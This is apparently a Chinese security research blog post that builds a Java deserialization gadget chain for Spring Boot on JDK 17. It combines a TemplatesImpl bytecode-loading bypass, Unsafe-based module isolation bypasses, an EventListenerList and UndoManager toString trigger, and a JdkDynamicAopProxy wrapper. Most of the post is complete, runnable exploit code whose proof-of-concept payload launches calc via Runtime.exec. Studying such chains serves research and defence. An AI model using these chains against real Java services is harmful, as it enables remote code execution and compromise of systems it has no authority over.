在p神星球看到有师傅发出来的,学习一下
环境 这里用jdk17+spring-boot来搭建环境
<dependency > <groupId > org.springframework.boot</groupId > <artifactId > spring-boot-starter-web</artifactId > <version > 3.4.3</version > </dependency >
去除TemplatesImpl的AbstractTranslet限制 我们知道以前使用TemplatesImpl一定是要继承AbstractTranslet,但是其实有方法去打破这种机制,可以看下面的文章:
https://whoopsunix.com/docs/PPPYSO/advance/TemplatesImpl/#0x02-%E5%8E%BB%E9%99%A4-abstracttranslet-%E9%99%90%E5%88%B6
我们可以看一下TemplatesImpl的那一段的关键逻辑
try { final int classCount = _bytecodes.length; _class = new Class [classCount]; if (classCount > 1 ) { _auxClasses = new HashMap <>(); } for (int i = 0 ; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]); final Class superClass = _class[i].getSuperclass(); if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; } else { _auxClasses.put(_class[i].getName(), _class[i]); } } if (_transletIndex < 0 ) { ErrorMsg err= new ErrorMsg (ErrorMsg.NO_MAIN_TRANSLET_ERR, _name); throw new TransformerConfigurationException (err.toString()); } }
根据这个核心代码我们知道,如果不继承AbstractTranslet我们就会走else这个方法,然后_auxClasses的赋值在前面的classCount的判断地方,所以要求我们的二维字节数组的元素数量要大于1,不然到这里put的时候会空指针异常
然后_transletIndex
这个变量并没有transient修饰,所以我们也可以控制,只需要设置为你需要newInstance的恶意字节码所对应的数组下标即可
这个挺好分析的,绕过的利用代码如下
package org.clown;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool;import javassist.CtClass;import javassist.CtConstructor;import java.lang.reflect.Field;public class Main { public static void setFieldValue (Object object, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException { Field f = getField(object.getClass(),fieldName); f.setAccessible(true ); f.set(object,value); } public static Field getField (Class clazz, String fieldName) throws NoSuchFieldException { while (true ){ Field[] fields = clazz.getDeclaredFields(); for (Field field:fields){ if (field.getName().equals(fieldName)){ return field; } } if (clazz == Object.class){ break ; } clazz = clazz.getSuperclass(); } throw new NoSuchFieldException (fieldName); } public static TemplatesImpl getTemplates () throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("a" ); CtConstructor constructor = new CtConstructor (new CtClass []{}, clazz); constructor.setBody("Runtime.getRuntime().exec(\"calc\");" ); clazz.addConstructor(constructor); CtClass tmp_clazz = pool.makeClass("b" ); byte [][] bytes = new byte [][]{clazz.toBytecode(),tmp_clazz.toBytecode()}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); setFieldValue(templates, "_bytecodes" , bytes); setFieldValue(templates, "_name" , "clown" ); setFieldValue(templates, "_tfactory" , new TransformerFactoryImpl ()); setFieldValue(templates, "_transletIndex" , 0 ); return templates; } public static void main (String[] args) throws Exception { TemplatesImpl templates = getTemplates(); templates.newTransformer(); } }
高版本使用TemplatesImpl 前面为了去除AbstractTranslet这层限制,是因为高版本下继承AbstractTranslet会触发模块隔离的限制,因为TemplatesImpl和AbstractTranslet实际上是不在同一模块内的,用Unsafe修改模块也不可能同时身处两个模块,所以就需要前面的绕过限制
高版本调用TemplatesImpl的写法如下:
package org.clown;import javassist.*;import sun.misc.Unsafe;import javax.xml.transform.Templates;import java.lang.reflect.Field;public class Main { public static void setFieldValue (Object object, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException { Field f = getField(object.getClass(),fieldName); f.setAccessible(true ); f.set(object,value); } public static Field getField (Class clazz, String fieldName) throws NoSuchFieldException { while (true ){ Field[] fields = clazz.getDeclaredFields(); for (Field field:fields){ if (field.getName().equals(fieldName)){ return field; } } if (clazz == Object.class){ break ; } clazz = clazz.getSuperclass(); } throw new NoSuchFieldException (fieldName); } public static void main (String[] args) throws Exception { Class<?> unSafe=Class.forName("sun.misc.Unsafe" ); Field unSafeField=unSafe.getDeclaredField("theUnsafe" ); unSafeField.setAccessible(true ); Unsafe unSafeClass= (Unsafe) unSafeField.get(null ); Module xmlModule = Templates.class.getModule(); Class<?> currentClass= Main.class; long addr=unSafeClass.objectFieldOffset(Class.class.getDeclaredField("module" )); unSafeClass.getAndSetObject(currentClass,addr,xmlModule); Class<?> tplClz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" ); Templates templates = (Templates) tplClz.getDeclaredConstructor().newInstance(); ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("a" ); CtConstructor constructor = new CtConstructor (new CtClass []{}, clazz); constructor.setBody("Runtime.getRuntime().exec(\"calc\");" ); clazz.addConstructor(constructor); CtClass tmp_clazz = pool.makeClass("b" ); byte [][] bytes = new byte [][]{clazz.toBytecode(),tmp_clazz.toBytecode()}; setFieldValue(templates, "_bytecodes" , bytes); setFieldValue(templates, "_name" , "clown" ); Class facClazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl" ); Object fac = facClazz.newInstance(); setFieldValue(templates, "_tfactory" , fac); setFieldValue(templates, "_transletIndex" , 0 ); templates.newTransformer(); } }
这里可以注意到我这里强制转换成了Templates接口
证明Templates是对外export的
从他的module-info文件也可以看出来
这个细节在后面构建完整利用链的时候就用上了
构建完整利用链 我们打spring-boot的时候,用的是jackson的这条链,但是高版本下的BadAttributeValueExpException触发toString已经没有了,所以就是要用到其他原生触发toString的方法,EventListenerList
,这个也是之前就有遇到过的,可以看这个师傅的文章:https://infernity.top/2025/03/24/EventListenerList%E8%A7%A6%E5%8F%91%E4%BB%BB%E6%84%8FtoString
最终的exp如下:
package org.clown;import com.fasterxml.jackson.databind.node.POJONode;import javassist.*;import sun.misc.Unsafe;import javax.swing.event.EventListenerList;import javax.swing.undo.UndoManager;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Field;import java.util.Vector;public class Main { public static void setFieldValue (Object object, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException { Field f = getField(object.getClass(),fieldName); f.setAccessible(true ); f.set(object,value); } public static Object getFieldValue (final Object obj, final String fieldName) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.setAccessible(true ); return field.get(obj); } public static Field getField (Class clazz, String fieldName) throws NoSuchFieldException { while (true ){ Field[] fields = clazz.getDeclaredFields(); for (Field field:fields){ if (field.getName().equals(fieldName)){ return field; } } if (clazz == Object.class){ break ; } clazz = clazz.getSuperclass(); } throw new NoSuchFieldException (fieldName); } public static void bypassModule (Class clazz) throws Exception { Class<?> unSafe=Class.forName("sun.misc.Unsafe" ); Field unSafeField=unSafe.getDeclaredField("theUnsafe" ); unSafeField.setAccessible(true ); Unsafe unSafeClass= (Unsafe) unSafeField.get(null ); Module module = clazz.getModule(); Class<?> currentClass= Main.class; long addr=unSafeClass.objectFieldOffset(Class.class.getDeclaredField("module" )); unSafeClass.getAndSetObject(currentClass,addr,module ); } public static void main (String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass ctClass3 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode" ); CtMethod writeReplace = ctClass3.getDeclaredMethod("writeReplace" ); ctClass3.removeMethod(writeReplace); ctClass3.toClass(); bypassModule(Templates.class); Class<?> tplClz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" ); Templates templates = (Templates) tplClz.getDeclaredConstructor().newInstance(); CtClass clazz = pool.makeClass("a" ); CtConstructor constructor = new CtConstructor (new CtClass []{}, clazz); constructor.setBody("Runtime.getRuntime().exec(\"calc\");" ); clazz.addConstructor(constructor); CtClass tmp_clazz = pool.makeClass("b" ); byte [][] bytes = new byte [][]{clazz.toBytecode(),tmp_clazz.toBytecode()}; setFieldValue(templates, "_bytecodes" , bytes); setFieldValue(templates, "_name" , "clown" ); Class facClazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl" ); Object fac = facClazz.newInstance(); setFieldValue(templates, "_tfactory" , fac); setFieldValue(templates, "_transletIndex" , 0 ); POJONode pojonode = new POJONode (templates); bypassModule(javax.swing.undo.CompoundEdit.class); EventListenerList eventListenerList = getEventListenerList(pojonode); byte [] serialize = serialize(eventListenerList); deserialize(serialize); } public static EventListenerList getEventListenerList (Object obj) throws Exception{ EventListenerList list = new EventListenerList (); UndoManager undomanager = new UndoManager (); Vector vector = (Vector) getFieldValue(undomanager, "edits" ); vector.add(obj); setFieldValue(list, "listenerList" , new Object []{Class.class, undomanager}); return list; } public static byte [] serialize(Object object) throws IOException { ByteArrayOutputStream baos = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (baos); oos.writeObject(object); return baos.toByteArray(); } public static Object deserialize (byte [] bytes) throws IOException, ClassNotFoundException { ByteArrayInputStream bais = new ByteArrayInputStream (bytes); ObjectInputStream ois = new ObjectInputStream (bais); return ois.readObject(); } }
这里生成的时候还要加一些vm配置,其实我们什么vm配置都可以不加,这个后面解释
--add-opens=java.base/java.lang=ALL-UNNAMED
有关JdkDynamicAopProxy 这里我并没有用JdkDynamicAopProxy
去做代理,也能够触发,Templates接口本身也有getOutputProperties方法,然后我以为他在获取getter方法的时候能够只获取接口的方法相当于也实现了稳定的触发
但是我调试的时候发现他是根据运行时类来获取方法的,所以其获取到的还是TemplatesImpl类的方法,还是可能会存在不稳定的风险
Method[] methods = Templates.class.getMethods();
这种方式就会只获取到Templates接口的两种方法
bypassModule(Templates.class); Class<?> tplClz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" );Templates templates = (Templates) tplClz.getDeclaredConstructor().newInstance(); Method[] methods = templates.getClass().getMethods(); System.out.println(methods.length);for (Method method : methods) { System.out.println(method.getName()); }
而这种写法他就会根据运行时类来获取,从而获取到TemplatesImpl的方法,所以应该是jackson在处理的时候采用的是获取动态运行时的类来获取方法 ,这样就导致即使你传接口也没用
然后我用动态代理去代理Templates接口的话结果就如下:
他就只获取到了Templates接口的两个方法了,这样就实现了稳定性了
所以下面是稳定打法的exp
package org.clown;import com.fasterxml.jackson.databind.node.POJONode;import javassist.*;import org.springframework.aop.framework.AdvisedSupport;import sun.misc.Unsafe;import javax.swing.event.EventListenerList;import javax.swing.undo.UndoManager;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.*;import java.util.Vector;public class Main { public static void setFieldValue (Object object, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException { Field f = getField(object.getClass(),fieldName); f.setAccessible(true ); f.set(object,value); } public static Object getFieldValue (final Object obj, final String fieldName) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.setAccessible(true ); return field.get(obj); } public static Field getField (Class clazz, String fieldName) throws NoSuchFieldException { while (true ){ Field[] fields = clazz.getDeclaredFields(); for (Field field:fields){ if (field.getName().equals(fieldName)){ return field; } } if (clazz == Object.class){ break ; } clazz = clazz.getSuperclass(); } throw new NoSuchFieldException (fieldName); } public static void bypassModule (Class clazz) throws Exception { Class<?> unSafe=Class.forName("sun.misc.Unsafe" ); Field unSafeField=unSafe.getDeclaredField("theUnsafe" ); unSafeField.setAccessible(true ); Unsafe unSafeClass= (Unsafe) unSafeField.get(null ); Module module = clazz.getModule(); Class<?> currentClass= Main.class; long addr=unSafeClass.objectFieldOffset(Class.class.getDeclaredField("module" )); unSafeClass.getAndSetObject(currentClass,addr,module ); } public static void main (String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass ctClass3 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode" ); CtMethod writeReplace = ctClass3.getDeclaredMethod("writeReplace" ); ctClass3.removeMethod(writeReplace); ctClass3.toClass(); bypassModule(Templates.class); Class<?> tplClz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" ); Templates templates = (Templates) tplClz.getDeclaredConstructor().newInstance(); CtClass clazz = pool.makeClass("a" ); CtConstructor constructor = new CtConstructor (new CtClass []{}, clazz); constructor.setBody("Runtime.getRuntime().exec(\"calc\");" ); clazz.addConstructor(constructor); CtClass tmp_clazz = pool.makeClass("b" ); byte [][] bytes = new byte [][]{clazz.toBytecode(),tmp_clazz.toBytecode()}; setFieldValue(templates, "_bytecodes" , bytes); setFieldValue(templates, "_name" , "clown" ); Class facClazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl" ); Object fac = facClazz.newInstance(); setFieldValue(templates, "_tfactory" , fac); setFieldValue(templates, "_transletIndex" , 0 ); Object o = makeTemplatesImplAopProxy(templates); POJONode pojonode = new POJONode (o); bypassModule(javax.swing.undo.CompoundEdit.class); EventListenerList eventListenerList = getEventListenerList(pojonode); byte [] serialize = serialize(eventListenerList); deserialize(serialize); } public static EventListenerList getEventListenerList (Object obj) throws Exception{ EventListenerList list = new EventListenerList (); UndoManager undomanager = new UndoManager (); Vector vector = (Vector) getFieldValue(undomanager, "edits" ); vector.add(obj); setFieldValue(list, "listenerList" , new Object []{Class.class, undomanager}); return list; } public static byte [] serialize(Object object) throws IOException { ByteArrayOutputStream baos = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (baos); oos.writeObject(object); return baos.toByteArray(); } public static Object deserialize (byte [] bytes) throws IOException, ClassNotFoundException { ByteArrayInputStream bais = new ByteArrayInputStream (bytes); ObjectInputStream ois = new ObjectInputStream (bais); return ois.readObject(); } public static Object makeTemplatesImplAopProxy (Templates templates) throws Exception { AdvisedSupport advisedSupport = new AdvisedSupport (); advisedSupport.setTarget(templates); Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy" ).getConstructor(AdvisedSupport.class); constructor.setAccessible(true ); InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport); Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class []{Templates.class}, handler); return proxy; } }
vm配置问题 我们前面加了一个vm配置,其实这个配置可以去除,我们可以一个配置都不加
--add-opens=java.base/java.lang=ALL-UNNAMED
按前面的exp写法如果不加的话我们会在
这行代码报错,我们可以看看他的报错
Exception in thread "main" java.lang.reflect.InaccessibleObjectException: Unable to make protected final java.lang.Class java.lang.ClassLoader.defineClass(java.lang.String,byte[],int,int,java.security.ProtectionDomain) throws java.lang.ClassFormatError accessible: module java.base does not "opens java.lang" to unnamed module @2e5c649 at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:354) at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:297) at java.base/java.lang.reflect.Method.checkCanSetAccessible(Method.java:199) at java.base/java.lang.reflect.Method.setAccessible(Method.java:193) at javassist.util.proxy.SecurityActions.setAccessible(SecurityActions.java:159) at javassist.util.proxy.DefineClassHelper$JavaOther.defineClass(DefineClassHelper.java:213) at javassist.util.proxy.DefineClassHelper$Java11.defineClass(DefineClassHelper.java:52) at javassist.util.proxy.DefineClassHelper.toClass(DefineClassHelper.java:260) at javassist.ClassPool.toClass(ClassPool.java:1240) at javassist.ClassPool.toClass(ClassPool.java:1098) at javassist.ClassPool.toClass(ClassPool.java:1056) at javassist.CtClass.toClass(CtClass.java:1298) at org.clown.Main.main(Main.java:61) Process finished with exit code 1
这是因为我们在toClass的时候涉及到类加载以及反射,这里就会触发隔离机制的检查,我们可以调试看具体的触发类型
这里可以看到javassist的类跟java.lang并不在一个module,所以如果我们要toClass的话还要去修改SecurityActions这个类的module
一种做法就是前面直接加vm配置,将java.lang直接open给未命名模块
还有一种就是修改一下javassist.util.proxy.SecurityActions
类的模块
最终修改后的exp如下:
package org.clown;import com.fasterxml.jackson.databind.node.POJONode;import javassist.*;import org.springframework.aop.framework.AdvisedSupport;import sun.misc.Unsafe;import javax.swing.event.EventListenerList;import javax.swing.undo.UndoManager;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.*;import java.util.Vector;public class Main { public static void setFieldValue (Object object, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException { Field f = getField(object.getClass(),fieldName); f.setAccessible(true ); f.set(object,value); } public static Object getFieldValue (final Object obj, final String fieldName) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.setAccessible(true ); return field.get(obj); } public static Field getField (Class clazz, String fieldName) throws NoSuchFieldException { while (true ){ Field[] fields = clazz.getDeclaredFields(); for (Field field:fields){ if (field.getName().equals(fieldName)){ return field; } } if (clazz == Object.class){ break ; } clazz = clazz.getSuperclass(); } throw new NoSuchFieldException (fieldName); } public static void bypassModule (Class clazz) throws Exception { Class<?> unSafe=Class.forName("sun.misc.Unsafe" ); Field unSafeField=unSafe.getDeclaredField("theUnsafe" ); unSafeField.setAccessible(true ); Unsafe unSafeClass= (Unsafe) unSafeField.get(null ); Module module = clazz.getModule(); Class<?> currentClass= Main.class; long addr=unSafeClass.objectFieldOffset(Class.class.getDeclaredField("module" )); unSafeClass.getAndSetObject(currentClass,addr,module ); } public static void bypassModule (Class currentClazz, Class clazz) throws Exception { Class<?> unSafe=Class.forName("sun.misc.Unsafe" ); Field unSafeField=unSafe.getDeclaredField("theUnsafe" ); unSafeField.setAccessible(true ); Unsafe unSafeClass= (Unsafe) unSafeField.get(null ); Module module = clazz.getModule(); Class<?> currentClass= currentClazz; long addr=unSafeClass.objectFieldOffset(Class.class.getDeclaredField("module" )); unSafeClass.getAndSetObject(currentClass,addr,module ); } public static void main (String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass ctClass3 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode" ); CtMethod writeReplace = ctClass3.getDeclaredMethod("writeReplace" ); ctClass3.removeMethod(writeReplace); bypassModule(Class.forName("javassist.util.proxy.SecurityActions" ),Object.class); ctClass3.toClass(); bypassModule(Templates.class); Class<?> tplClz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" ); Templates templates = (Templates) tplClz.getDeclaredConstructor().newInstance(); CtClass clazz = pool.makeClass("a" ); CtConstructor constructor = new CtConstructor (new CtClass []{}, clazz); constructor.setBody("Runtime.getRuntime().exec(\"calc\");" ); clazz.addConstructor(constructor); CtClass tmp_clazz = pool.makeClass("b" ); byte [][] bytes = new byte [][]{clazz.toBytecode(),tmp_clazz.toBytecode()}; setFieldValue(templates, "_bytecodes" , bytes); setFieldValue(templates, "_name" , "clown" ); Class facClazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl" ); Object fac = facClazz.newInstance(); setFieldValue(templates, "_tfactory" , fac); setFieldValue(templates, "_transletIndex" , 0 ); Object o = makeTemplatesImplAopProxy(templates); POJONode pojonode = new POJONode (o); bypassModule(javax.swing.undo.CompoundEdit.class); EventListenerList eventListenerList = getEventListenerList(pojonode); byte [] serialize = serialize(eventListenerList); deserialize(serialize); } public static EventListenerList getEventListenerList (Object obj) throws Exception{ EventListenerList list = new EventListenerList (); UndoManager undomanager = new UndoManager (); Vector vector = (Vector) getFieldValue(undomanager, "edits" ); vector.add(obj); setFieldValue(list, "listenerList" , new Object []{Class.class, undomanager}); return list; } public static byte [] serialize(Object object) throws IOException { ByteArrayOutputStream baos = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (baos); oos.writeObject(object); return baos.toByteArray(); } public static Object deserialize (byte [] bytes) throws IOException, ClassNotFoundException { ByteArrayInputStream bais = new ByteArrayInputStream (bytes); ObjectInputStream ois = new ObjectInputStream (bais); return ois.readObject(); } public static Object makeTemplatesImplAopProxy (Templates templates) throws Exception { AdvisedSupport advisedSupport = new AdvisedSupport (); advisedSupport.setTarget(templates); Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy" ).getConstructor(AdvisedSupport.class); constructor.setAccessible(true ); InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport); Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class []{Templates.class}, handler); return proxy; } }
参考 https://fushuling.com/index.php/2025/08/21/%e9%ab%98%e7%89%88%e6%9c%acjdk%e4%b8%8b%e7%9a%84spring%e5%8e%9f%e7%94%9f%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e9%93%be/
https://whoopsunix.com/docs/PPPYSO/advance/TemplatesImpl/#0x02-%E5%8E%BB%E9%99%A4-abstracttranslet-%E9%99%90%E5%88%B6
https://infernity.top/2025/03/24/EventListenerList%E8%A7%A6%E5%8F%91%E4%BB%BB%E6%84%8FtoString